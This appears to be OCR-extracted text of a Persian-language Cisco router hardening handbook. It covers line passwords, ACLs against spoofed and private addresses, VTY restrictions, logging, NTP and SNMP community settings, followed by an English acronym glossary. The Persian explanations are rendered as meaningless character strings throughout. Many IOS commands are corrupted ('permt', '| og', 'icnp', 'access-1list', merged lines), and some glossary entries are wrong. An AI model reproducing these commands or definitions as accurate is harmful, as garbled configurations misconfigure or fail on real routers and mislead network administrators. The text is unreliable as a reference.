S pdl,8 service password-encryption l oslasowl U wlguc 50, wlodS 51 ol ayly

: Jbwe

Enable secret -enable secret 0 2manyRt3s

Console Line - line con 0 password Soda-4-jimmY
Auxiliary Line - line aux 0 password Popcorn-4-sara
VTY Lines - line vty 0 4 password Dots-4-georg3
Basic protection - service password-encryption

amlos Jled 1) 595 ol 5l e (sawyiows Sy Ll aiSuo (solwiiny | SSH (sbli)l ol JSign 0l sg, 3]
1S wble> e e S owpiws Sl ) vlule,ie, Saiu,Swy J

ol Sld aseuws wyganl a4 auS el | suloows o @y no access-list nnn Olo,d L aiuod
dloswe UL L nnn o) loni b csawysiows Sl

East(config)# no access-list 51East(config)# access-list 51 permit host 14.2.9.6
East(config)# access-list 51 deny any log

)92 2B A bauye wleMbl ngui pieke aSl Sy anles wui | yig, Slpier L wlbli,l wled o]
bl pazuiw ,uy wigo W ) B Wygy 5l Lvazaiw 055> Csulsows cawd Ho Ol s cwl wow)s

access-list 106 deny udp any range 1 65535any range 1 65535 log access-list 106
deny tcp any range 1 65535any range 1 65535 log access-list 106 deny ip any any

log

S)9 00 Ui Cad Shy UDPTCP Sla JSig,m 5l wuld oSy vanw 2, 5l v gaedae Sl b sl

g S ol 4 S S ol a4 WMo > bl aSew S g, Sl eslaiwl = 9w 5l SySel> Sl
S0 539y Su > WS oslawl Csulsows wowd 5l ds Lwysl Sl S wudgaxe aS AuS jguxo AuS
b, S Gawsiws Sy hsd g adn | o S kyl) a4 vaw s)lg o5 I3l Sla sl @ s



ovliows o 55 aS 1) e ue ol wlbli)l Gwled 9 dwles pabd | ol S lul, @ 1y
1l i Ulwl Joe oul 0uzn S Lbslw U S, Sl aSeis Sy asdl awlos aSely | s

East (config)# no access-list 101 East(config)# access-list 101
permt ip

14.2.6.0 0.0.0.255 anyEast (config)# access-list 101 deny ip any
any | og East(config)# no access-list 102 East(config)# access-list 102
permt ip

any 14.2.6.0 0.0.0.255 East(config)# access-list 102 deny ip any
any |log East(config)# interface eth 1 East(config-if)# ip access-group
101 inEast(config-if)# exit East(config)# interface eth O East(config-
if)# ip access-group 101 out East(config-if)# ip access-group 102 in

aSely |, wlinld Sy | 2l (s lisobl Ll ué Sla aSeis 5l a5 camls SeSine wlbli,l (swolod
S Ulaobl 55 M8 SWIP @, Ulgs (swi Jlio j9b @, me)bTJAMB&mM)yb\lmMLm

0.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16.

338 Jlacl (s> Sl byl ) 5 asds 5l 2ol S8l Sippadd wldoe Sl s> il wbles> ol
dulos as>l,0 RFC 1918 a, jiiy wleMbl iy,

ol @ gy cubiows o whbla> puixod 9 Jlgynuld LS5 JsS Sigrl So Slasio puyi oz 51 Sy
Wb 4 aS ) Wb wS) adS Lilue piawpw I3l glin 51 SU Ulgie a4 595 wsls vl &b
IP Spoofing aulos aSely | 25,51, (sd>1s g Sy 5l 593 Wsls Giwles 5> sew

&uio Sy Wlgios ol aulos aSols [, 127.0.0.1/8 aSiei aulosdloopback gl 5l oasl Sla S, (swolod

ulos aSgly |, Multicast sla Sy wswlod 1ulos Lswu oslaiwl |, multicat s 1P Looi aSuui S|

Ugzod S Lugrw S Sy swlod wwl Sow oul il aules aSels |, broadcast sl S, swlod
5h3 oslaiwl 3,00 ol e bl 5y S Guugrw Gwix vl a3 sulos aSgls |, BootP gDHCP
S

mask slolss plews redirect . ICMP echo sl «S, 5l oslaw U W S oMo 5| Sl asd iy (selsil
Caowl 030w o,Lal YU 5)lg0 (swolod au auS a>gi 5o Jlio @y agles aSels | sl (swolos auoioluw aSiw

Nort h(config)# no access-list 107
North(config)# ! block our internal addresses

Nort h(config)# access-1list 107 deny ipl4.2.0.0 0.0.255.255

any | ogNorth(config)# access-1ist 107 deny ipl4.1.0.0
0. 0. 255. 255 any | og

North(config)# ! block special/reserved addresses

Nort h(config)# access-list 107 deny ipl27.0.0.0
0. 255. 255. 255 any | ogNorth(confi g)# access-list 107 deny
i p0.0.0.0 0.255.255.255 any | og



North(config)# access-list 107 deny ipl0.0.0.0

0. 255. 255. 255 any | ogNorth(config)# access-list 107 deny ip

169. 254. 0.0 0. 0. 255. 255 any | ogNorth(config)# access-
[ist 107 deny ipl72.16.0.0 0.15.255.255 any | og
North(config)# access-list 107 deny ipl92.168.0.0
0. 0. 255. 255 any | og

North(config)# ! block nulticast (if not used)

North(config)# access-list 107 deny ip224.0.0.0 15. 255. 255. 255

anyNorth(config)# ! block sone | CVP nessage types

North(config)# access-list 107 deny icnp

any any redirect |logNorth(config)# access-1list 107 deny
icnp any any echo logNorth(config)# access-list 107 deny icnp
any any mask-request | ogNorth(config)# access-list 107 permt
ip any 14.2.0.0 0.0.255.255 North(config)# access-list 107
permt ip any 14.1.0.0 0.0. 255. 255
North(config)# interface Eth 0/0

North(config-if)# description External interface

North(config-if)# ip access-group 107 in

dwlos Solb | sl (31 g Sy 5l s Wi auloiae (sew aS | solblo,l (swolos

access-list 102 deny ip host 14.1.1.250 host 14.1.1.250 | og
interface Eth 0/1

i p address 14.1.1.250 255.255.0.0

i p access-group 102 in

wlod sl ws i wlbly)l JyisS wp> Shlxe Jluoss Shu | oulsiows cowd &

Sout h(config)# no access-list 92 South(config)# access-list 92
permt 14.2.10.1Sout h(config)# access-list 92 permt 14.2.9.1
South(config)# line vty 0 4 South(config-line)# access-cl ass 92
in

3905 Adlg> SoS Lok 4 wunj 95 55 ol Aulos Jled ayig, 5l plaS ,a Sy s> | &1Bg v wuuld
Sy Ui aSels K a4 S,505 9 00 skl (ud WMo (umixod g Bl U 3,93 4 pKis 55 S

Ol o b osdsls aSow 5l as o

Central (config)# |ogging on Central (config)# logging 14.2.9.1
Central (config)# | oggi ng buffered 16000 Central (config)#

| oggi ng console critical Central (config)# |ogging trap

i nformati onal Central (config)# logging facility locall

aS |, pd 5l wylesio h9,w NTP 95 LIS ¢l by J8la> 2SS Saiu,Sy iley g1l il w90 |, s,
ol sude 4 ol AuS Sau,Swy L ads w8 pusiows 5y L uss suley wleMbl aiwd (solao

2sS a>gi 505 Jbio @ aylou oy Syiins wdsh |, 035645 5, aS ad> sw o3>l aSw

East (config)# service timestanps |og datetime |ocaltime show
ti mezone nsec



East (config)# clock timezone GVI 0
East(config)# ntp server 14.1.1.250
East (config)# ntp server 14.2.9.1

Sl cew oawl K Lod a3 SNMP ACL S5 loi> 5,15 5L SNMP JSGg 50 wsgos bl @y loois aSiais S|
dcgozxo oowl uublsy 09= 55 Jbio awlos wlxil | dguin 055 ywi> s>y aS SNMP acgoxo oU
51 30895 wldoe aSs Gul 3> sw Jwslos |; ACL ol,0d a9 read only wwsols> L SNMP (5,8 iuw

Wlw Jled (e 1) JSSgnm el 3015 5L LSTUS Ly (g 5L o i JSciuoe |, SNMP (80,

East (config)# no snnmp community public roEast(config)# no snnp
conmunity private rw East(config)# no access-list 51

East (config)# access-list 51 permt 14.2.9.1East(config)# snnp
conmuni ty BTRI 8+never ro 51
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ACK

Acknowledge

ARIN

American Registry for Internet Numbers
ASCII

ASCII Character Set (ASCII)

ASN

Autonomous System Number
ASP

Active Server Pages or Application Service Provider

BSDI

Berkeley Software Design (BSD) Operating System Internet
Server Edition

CANVAS

Immunity Security’s CANVAS Vulnerability Scanner
CAST

Computer Aided Software Testing

Common Desktop Environment
CHAM

Common Hacking Attack Methods
CIFS

Common Internet File Sharing

CPAN

Comprehensive Perl Archive Network

CRC
Cyclic Redundancy Check

CVE

Common Vulnerabilities and Exposures (List)

Cvs

Concurrent Versions System Source Code Control System

DDoS

Distributed Denial-of-Service
DID

Direct Inward Dialing

DIT

Directory Information Tree
DNS

Domain Name System
DNSSEC

Domain Name System Security
DoS

Denia-of-Service

DSA

Digital Signature Algorithm
EES

Encrypting File System (Microsoft)

EIGRP

Enhanced Interior Gateway Routing Protocol
EIP

Extended Instruction Pointer

ESMTP

Extended Simple Mail Transfer (Protocol)

EVT

Event (Microsoft)

FIFO

First In First Out is an approach to handling queue or stack
requests where the ol dest requests are prioritized
FX

Handle for Felix Lindner

GCC

GNU C Compiler

GCIA

GIAC Cetified Intrusion Analyst

GCIH

GIAC Cetified Incident Handler

GDB

GNU Project Debugger

GID

Group ID (Access Control Lists)

GINA

Graphical |dentification and Authentication (Dynamic Link
Library, Microsoft)

RIP

Routing Information Protocol

RSA

RSA Security, Inc.

SAM

Security Accounts Manager (Microsoft)

SANS
Sysadmin, Audit, Network, Security (SANS Institute)

SASL

Simple Authentication and Security Layer

SATAN

Security Administrator Tool for Analyzing Networks
SID Security Identifier (Microsoft)

SIGINT Signal Intelligence

SMB Server Message Block (Protocol)

SOCK S Sockets Protocol (Firewall)

SRV Service Record (DNS)

SUID Set User ID (bit) utilized in UNIX Operating Systems to
impose File System Access Control Lists

VMSVMS (Operating System)

VNC AT&T Virtual Network Computing (Software)
XDMCPD X Display Manager Control Protocol
XOR Exclusive OR

Cisco Security Hand Book BY caoltector

GNOME

GNU Free Desktop Environment

GNU

GNU Software Foundation

HIDS

Host Intrusion Detection System
HKEY

Microsoft Registry Key Designation (Hive Key)
HMAC

Keyed Hashing Message Authenticetion
HQ

Headquarters

HTTPS

Secure Hypertext Transmission Protocol
HUMINT

Human Intelligence

1cQ

1CQ Protocol

IDS

Intrusion Detection System

IKE

Internet Key Exchange (Protocol)
IMDb

Internet Movie Database

IPO

Initial Public Offering

1PSec

IP Security (Protocol)

IRIX

Silicon Graphics IRIX Operating System (IRIX)
ISAKMP

Internet Security Association and Key Management Protocol
1SS

Internet Security Systems

IUSR

Internet User (i.e., IUSR_name) is an anonymous user designation
used by Microsoft's Internet Information Server (11S)

KB

Kilobytes or Knowledgebase

KDE

K Desktop Environment
KSL

Keystroke Logger
LKM

Loadable Kernel Modules

LM

Lan Manager (Microsoft Authentication Service)
LT2P

Layer 2 Tunneling Protocol

MIB

Management Information Base

MSDE

Microsoft Data Engine

MSDN

Microsoft Developer Network

MSRPC

Microsoft Remote Procedure Call

MUA

Mail User Agent

MVS

Multiple Virtual Storage (MVS) Operating System
MX

Mail Exchange (Record, DNS)
NASL

Nessus Attack Scripting Language (Nessus Security Scanner)
NIDS

Network Intrusion Detection System
NMAP

Network Mapper (Nmap)

NMS

Network Management Station
NTFS

NT File System

NTFS5

NT File System 5

NTLM

NT LanMan (Authentication)

ou

Organizational Unit

PCX

.pex files created with MS Paintbrush
PHP

Hypertext Preprocessor

PID

Process | dentifier
PUT

PUT (FTP)

Revision Control System
RDS

Remote Data Service

SYN Synchronize (TCP SYN)

SYN-ACK Synchronize-Acknowledge (TCP SYN ACK)
USB Universal Seria Bus

VB Visua Basic

VM Virtual Machine
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